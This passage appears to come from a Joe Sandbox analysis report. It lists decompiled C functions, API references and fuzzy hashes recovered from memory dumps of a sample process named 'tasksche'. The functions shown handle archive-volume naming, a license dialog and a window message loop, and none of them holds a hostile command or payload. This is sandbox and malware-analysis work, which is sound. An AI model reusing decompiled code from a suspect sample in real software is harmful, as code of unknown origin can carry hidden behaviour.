Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

sfx, xrefs: 0040A8F7
exe, xrefs: 0040A8E8
rar, xrefs: 0040A906
.rar, xrefs: 0040A8B8

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
